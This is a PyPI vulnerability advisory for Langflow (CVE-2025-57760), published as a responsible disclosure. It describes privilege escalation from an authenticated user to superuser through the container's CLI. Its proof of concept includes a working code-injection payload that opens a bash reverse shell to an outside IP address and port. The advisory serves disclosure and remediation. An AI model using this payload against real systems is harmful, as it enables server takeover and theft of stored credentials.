id: PYSEC-2026-1526
published: "2026-07-07T16:03:01.786985Z"
modified: "2026-07-07T17:24:28.489491Z"
aliases:
- CVE-2025-57760
- GHSA-4gv9-mp8m-592r
summary: Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)
details: "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n<img width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" />\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__('os').system(\\\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\\\")):\\n    pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n<img width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" />\n\n\n5. Log into UI as new superuser:\n\n<img width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" />\n\n\n### Impact\n\n- Privilege escalation to superuser — complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage — attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management — superuser can delete other users, reset their passwords"
affected:
- package:
    name: langflow-base
    ecosystem: PyPI
    purl: pkg:pypi/langflow-base
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 0.5.1
  versions:
  - 0.0.13
  - 0.0.14
  - 0.0.15
  - 0.0.16
  - 0.0.17
  - 0.0.18
  - 0.0.19
  - 0.0.20
  - 0.0.21
  - 0.0.22
  - 0.0.23
  - 0.0.24
  - 0.0.25
  - 0.0.26
  - 0.0.27
  - 0.0.28
  - 0.0.29
  - 0.0.30
  - 0.0.31
  - 0.0.32
  - 0.0.33
  - 0.0.34
  - 0.0.35
  - 0.0.36
  - 0.0.37
  - 0.0.38
  - 0.0.39
  - 0.0.40
  - 0.0.41
  - 0.0.42
  - 0.0.43
  - 0.0.44
  - 0.0.45
  - 0.0.46
  - 0.0.47
  - 0.0.48
  - 0.0.49
  - 0.0.50
  - 0.0.51
  - 0.0.52
  - 0.0.53
  - 0.0.54
  - 0.0.55
  - 0.0.56
  - 0.0.57
  - 0.0.58
  - 0.0.59
  - 0.0.60
  - 0.0.61
  - 0.0.62
  - 0.0.63
  - 0.0.64
  - 0.0.66
  - 0.0.67
  - 0.0.68
  - 0.0.69
  - 0.0.70
  - 0.0.71
  - 0.0.72
  - 0.0.73
  - 0.0.74
  - 0.0.75
  - 0.0.76
  - 0.0.77
  - 0.0.78
  - 0.0.79
  - 0.0.80
  - 0.0.81
  - 0.0.82
  - 0.0.83
  - 0.0.84
  - 0.0.85
  - 0.0.86
  - 0.0.87
  - 0.0.88
  - 0.0.89
  - 0.0.90
  - 0.0.91
  - 0.0.92
  - 0.0.93
  - 0.0.94
  - 0.0.95
  - 0.0.96
  - 0.0.97
  - 0.0.98
  - 0.0.99
  - 0.1.0
  - 0.1.1
  - 0.1.2
  - 0.1.3
  - 0.1.4
  - 0.1.4.post1
  - 0.2.0
  - 0.3.0
  - 0.3.1
  - 0.3.2
  - 0.3.3
  - 0.3.4
  - 0.4.0
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.5.0
  - 0.5.0.post1
  - 0.5.0.post2
references:
- type: WEB
  url: https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r
- type: WEB
  url: https://github.com/langflow-ai/langflow/pull/9152
- type: WEB
  url: https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97
- type: PACKAGE
  url: https://github.com/langflow-ai/langflow
- type: PACKAGE
  url: https://pypi.org/project/langflow-base
- type: ADVISORY
  url: https://github.com/advisories/GHSA-4gv9-mp8m-592r
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2025-57760
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H